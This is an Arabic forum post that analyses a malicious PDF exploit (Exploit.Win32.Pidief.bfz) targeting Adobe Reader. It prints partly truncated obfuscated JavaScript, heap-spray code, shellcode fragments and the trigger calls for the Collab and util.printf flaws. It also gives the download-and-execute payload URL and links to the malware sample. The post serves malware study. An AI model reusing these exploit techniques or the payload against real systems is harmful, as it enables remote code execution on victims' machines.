بتـــــاريخ : 2/26/2011 4:57:06 AM
الفــــــــئة
  • الحـــــــــــاسب
  • التعليقات المشاهدات التقييمات
    0 949 0


    تحليل Exploit.win32.pidief.bfz

    الناقل : elmasry | العمر :42 | الكاتب الأصلى : DATA_SNIPER | المصدر : www.arabteam2000-forum.com

    كلمات مفتاحية  :

    بسم الله الرحمن الرحيم.
    كنت قد كتبت رد (عبارة عن تحليل) في موضوع كتبه الأخ STRELiTZIA عن
    -تحليل Exploit.Win32.Pidief.bfz- فأردت أن أنقله هنا للفائدة.
    الرابط:
    http://www.at4re.com...ead.php?p=57005

    إقتباس
    السلام عليكم و رحمة الله
    ملف ملوث بصيغة : PDF للتحليل :D اسم على مسمى : Pidief
    البرنامج الضار هو : Exploit.Win32.Pidief.bfz
    الباص : malware
    بالتوفيق للجميع

    رابط التحميل :
    http://www.multiupload.com/TZU2JHGNCN

    الرد:
    في البداية:
    لكي نستخرج الكود هنالك أدوات عديدة من بينها inflater
    Usage: inflater.exe input_file output_folder [-v]
     input_file:PDF File
    output_folder:أين تريد وضع الـStream التي كانت موجودة في PDF

    أو بإستعمال Foxit Reader بإعتباره غير مصاب بتلك الثغرات.
    وذلك بعد الإختيار من القائمة Advanced وإختيار Document JavaScript.
    Posted Image
    سأتحدث عن Payload Evolution او ما يسمى تطور الحمولة في Exploit.
    1-الحمولة الأولية:
    تم إستعمال تقنية بسيطة في Obfuscation حيث أنه تم وضع Exploit على شكل Hex في مصفوفة.
    وبعدها ذلك يقوم الكود بتشغيل Exploit وسنتحدث عن المناورة الذكية المستعملة :).
    اكود:
    var arr = new Array('%76%61%','72%20%','6c%32%3','1%50%','5a%7a%','30%51%20%3','d%20%6','e%65%........................,'3b');
    string = getero(arr);

    لقد قمت يقص جزأ كبير من الشفرة لأنها طويلة جدا ستجدون كل شيئ في المرفقات.
    الآن سنقوم بتحويل محتويات المصفوفة إلى Printable Char's عن طريق malzilla.
    وهذا هو الكود النهائي:
    var l21PZz0Q = new Array();
    var haZ0Rmde;
    function s8oOpYtLG(ve9sKDVuey, yNnpk1Ya6)
    {
    while(ve9sKDVuey.length * 2 < yNnpk1Ya6)
    {
    ve9sKDVuey += ve9sKDVuey;
    }
    ve9sKDVuey = ve9sKDVuey.substring(0, yNnpk1Ya6 / 2);
    return
    ve9sKDVuey;
    }
    function gdBvrtVkT(vGTSfY3ftC)
    {
    if(vGTSfY3ftC == 0)
    {
    var vOtVmM9Ws6 = 0x0c0c0c0c;
    var ruNE9AoC = new Array('卐%','u5251%u','5756৅','5è%','u0000%u','5d00໘','3̐','d擀','003x','30‹','0cؤ','0炋%','uad1c%u','408b%','ueb08‹','09̈́','0䂍','b7c㱀','坖','ebe%','u0100௾','eŎ%u','0000%','uef01
    ','6e8%u','0001%','u5f00࢕','e自','廂','01R','00','068','00࿰','0井%u','0001‰','00自','׬','2%u','3100%u','01f6','ac2͙','cɣ','%','ufb80%u','7400%','u8806','21cິ','6౮','e㈄%u','8900%u','81ea%','u45c2','002Ԡ','0闿%u','0152','00%u','c281%u','0250','00ԅ','2闿','156','0j','06a','a89슁%','u015e','','襒','自x','c2','刀','6aذ','ff','6a%u','c281%','u015e%','u0000','f52֩','5','褀','自%','u5ec2%u','0001刀','聨','%u','ff00%','u4e95%','u0001࢐','0自','廂%','u0001%u','3100','6諂%u','359c%','u026e','%','ufb80݀','0蠆%','u321c%','ueb46౮','e㈄%','u8900','自%u','45c2%','u0002%u','5200闿','Œ','','0ê','89','281ɐ','','052%u','95ffŖ','','0','a','6a','న','1','e','襒%','u81ea
    ','6c2%u','0002刀','j%','ud0ff%u','056a%u','ea89%','uc281','Ş%u','0000%u','ff52֩','5','鴀%u','5f5d֥','e[','59썘%u','0000','00%','u0000','%','u0000%','u0000','','0ٔ','7呴%','u6d65','偰','461䅨','䰀','慯%','u4c64b','69a','72y','72','041ٔ','7側%u','6f72%u','4163%','u6464e','72ܷ','3հ','0湩%','u7845%','u6365»','00%u','f789%u','c030%','u75ae)','fd࢟','7̟','9뻀','<%u','0000%u','b503','21b','00굦','蔃%u','021b','0炋','378᳆%','ub503','1b','00௘','d','1f','00','3adƸ','5%u','ab00','3adᮅ','','000궫','蔃%','u021b','00','eab�','嚭','503!','b','욉%','ud789','c51੯','3t','59帄','%u','5ee9ر','93','3e0➅','','100–','f6૖','6','302ᾅ','','褀%','uadc6…','03ț','ë','c3%u','0000','0','000','00','00%','u8900Ƹ','5','600','857x','?^','5fƫ%u','80ce%u','bb3eɴ','','嗃L','52','f4d.','4eӄ','4L%','u5255%','u444cw','6fۆ','e慯','464F','6f汩%u','4165%','u7500ه','0瑡','e65','865','65牣','獡%u','2e68h','70p%u','7468灴','˳','a愯%u','6f64ٖ','2甭%u','6470݆','1湩%','u2d67%u','6573%','u7672%u','6369','e65%u','6e63%','u6e2f','c75','f6cp','75ؖ','4整%u','702e܆','8椿','㵤','0%u','9000');
    ;
    haZ0Rmde = app.setTimeOut("app.m2B1rLly()", 10);

    [B]لقد قمت بالتعديل على الإستثمار لكي يظهر بشكل مفهوم ومرتب:[/B]
    var Block = new Array();
    var func;
    app.m2B1rLly = Exploit_func;
    func = app.setTimeOut("app.m2B1rLly()", 10);
    function Build_nop(NOP, size)
    {
    while(NOP.length * 2 < size)
    {
    NOP += NOP;
    }
    NOP = NOP.substring(0, size / 2);
    return
    NOP;
    }
    function spray(Version_Chk)
    {
    //-------------------------------------------------------
    if(Version_Chk == 0)
    {
    var addr = 0x0c0c0c0c;
    .............}
    }
    }

    مخطط عمل الـExploit:
    Posted Image
    إضغط على الصورة لكي تشاهدها بحجمها الأصلي.
    الآن نأتي لتحليل هذا الإستثمار.
    كما يظهر فإنه يوجد ثلاث دوال في الإستثمار الرئيسي.
    دالة Build_nop :
    هي دالة بسيطة تقبل 2 بارامتر وعملها واضح إلى حد ما،لكن ما يهمنا هو الدوال الأخرى.
    دالة spray:
    يلاحظ من إسم الدالة أنها تقوم بعملية ملأ الكومة (او ما يسمى رش الكومة) بالـNOP + الشل كود ولقد تحدثنا عن هذه التقنية سابقا.
    تجدها هنا
    http://www.at4re.com...read.php?t=5144
    لاحظ الكود:
    //--------------------------------------------------------
    Shellcode = unescape(Shellcode.join(""));
    var SH_lenD = Shellcode.length * 2;
    var size = 0x400000 - (SH_lenD + 0x38);
    var NOP = unescape("邐邐");
    NOP = Build_nop(NOP, size);
    var size2 = (addr - 0x400000) / 0x400000;
    for(var i = 0; i < size2; i++)
    {
    Block[i] = NOP + Shellcode;
    }

    بالإضافة إلى أن هذه الدالة تقوم بعملية تخصيص الحمولة لكل إصدار.
    لاحظ الكود:
    if(Version_Chk == 0)
    {
    var addr = 0x0c0c0c0c;
    var Shellcode = new Array('卐%','u5251%u','5756৅',....cp','75ؖ','4整%u','702e܆','8椿','㵤','0%u','9000');
    }
    else
    if(Version_Chk == 1){
    addr = 0x30303030;
    var Shellcode = new Array('卐','251յ','6鱕%u','00e8','00א','0໘','3ㄍ%u','64c0','003%u','7830%u','8b0c%u','0c40p'...'41     ','000');
    }

    الدالة Exploit_func:
    وهي الدالة المسؤولة عن تشغيل الإستثمار.
    تحتوي هذه الدالة الإجرائيات التالية:
    1-إستخراج رقم إصدار Viewer
    var Version = app.viewerVersion.toString();

    2-تعطيل timing events الذي تم تشغيله في بداية الكود وهو المسؤول عن إستدعاء الدالة Exploit_func،هنا:
    func = app.setTimeOut("app.m2B1rLly()", 10);

    3-سلسلة من التعليمات الشرطية لتحديد الإستثمار المناسب للتطبيق.
    -تم إستغلال ثلاث ثغرات في Adobe Acrobat :
    Adobe Acrobat and Reader Collab 'getIcon()' JavaScript Method Remote Code Execution Vulnerability
    Adobe Acrobat and Reader 'Collab.collectEmailInfo()' Remot Code Execution
    Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability

    بلاحظ في هذا الإستثمار وجود بعض المناورات :) منها:
    var ths = this;
    var COB = Collab;
    ths["collabStore"] = COB["collectEmailInfo"]({subj : "", msg : Sploit_triger});

    كان يمكن تطبيق الثغرة بالشكل التالي:
    this.collabStore = Collab.collectEmailInfo({subj: "",msg: Sploit_triger});

    وهذه مناورة ثانية
    var metd2 = util;
    metd2["printf"]("%45000f", qc1ncdvp);

    كان يمكن إستغلالها بالشكل التالي:
    util.printf("%45000f",qc1ncdvp);

    كنا في البداية قد أشرنا إلى أن الكود إستعمل مناورة ذكية لتشغيل الإستثمار.
    لاحظ الشفرة الموجود في نهاية الكود الأول.
    string = getero(arr);

    يتم فيها إستدعاء الدالة getero وتمرير المصفوفة التي تحتوي على كود الإستثمار، طبعا هذه الدالة غير موجودة في مكتبة javascript الخاصة بالـAdobe ولكنه تم التصريح عنها في سكريبت منفصل وإليك الكود:
    function getero(arr)
    {
    return unescape(arr.join(""));}

    تقوم هذه الدالة بوضع جميع عناصر المصفوفة في String.
    لحد الآن هذه الأكواد الأخيرة لا تكفي لتشغيل الشفرة المشوشة (الموجودة في المصفوفة)،وكما هو مألوف فإنه يجب أن يلي هذه الأكواد التعليمية التالية التي تقوم بتشغيل المحتويات التي كانت موجودة في المصفوفة:
    eval(string)

    ومن الملاحظ أنه يوجد سكريبتات أخرى في المستند(وهذا ما عرضه Foxit Reader) لكن السؤال ،كيف سيتم نقل التنفيذ إليها.
    هنالك إحتمالين،إما ان Foxit Reader عرضها مفرقة ، أو يتم تشغيل السكريبتات تسلسليا وبالتالي يتم تشغيل الأكواد الأخرى.
    الآن نأتي للمناورة الجميلة.
    في السكريبتات الأخرى توجد الأكواد التالية:
    var aler_t = eval;

    والسكريبت الآخر:
    aler_t(string);

    لا حظ في البداية كنت أظن أن العملية عبارة عن عرض أو إظهار Messagebox لعرض الـString التي تحتوي الكود المشفر لكن لو تلاحظ بشكل جيد تجد أن المبرمج قام بإسناد وظيفة الدالة Eval للمتغير aler_t ليصبح بديلا له:
    var aler_t = eval;

    وبعدها يقوم بتشغيل محتويات String عن طريق aler_t لكي تظهر وكأنها دالة العرض.
    aler_t(string);

    ملاحظة:
    المتغير المقصود هو aler_t مع نزع underscore
    نأتي للشل كود:
    وكما هو متوقع الشل كود عبارة عن Download and Exec .
    الشل كود بتنسيق UTF-16
    卐剑坖...u6c6e慯呤䙯汩䅥甀摰瑡⹥硥e牣獡⹨桰p瑨灴⼺愯潤敢甭摰瑡湩ⵧ敳癲捩⹥湣港汵⽬灵慤整瀮灨椿㵤0退

    الشل كود بتنسيق HEX
    505351525657559ce8000000005d83ed0d31c0.......e7068703f69643d30000090

    يقوم الشل كود بتحميل الملف من الرابط التالي:
    http://adobe-updating-service.cn/null/update.php?id=0

    ويقوم بتحميله لـTemp path بإسم update.exe.
    هذا تحليل بسيط وآسف إن كان فيه بعض الغموض.
    والله ولي التوفيق.
    ملاحظة:
    -لقد قمت بقص الكثير من الأكواد لأنها تزيد من عدد كلمات الموضوع و تشوه تنسيق الصفحة
    لذلك فجميع أجزاء الـMalware موجودة في المرفقات.
    -وليعذرني الأخ STRELiTZIA لأن لم أطلب إذنه في نقل الموضوع.
    رابط خارجي :
    http://www.multiupload.com/0HF15353P9
     
    ملف مرفق(ملفات)
     
    ملف مرفق  PDF_Malware_Anatomy.rar (103.09كيلو )

    كلمات مفتاحية  :

    تعليقات الزوار ()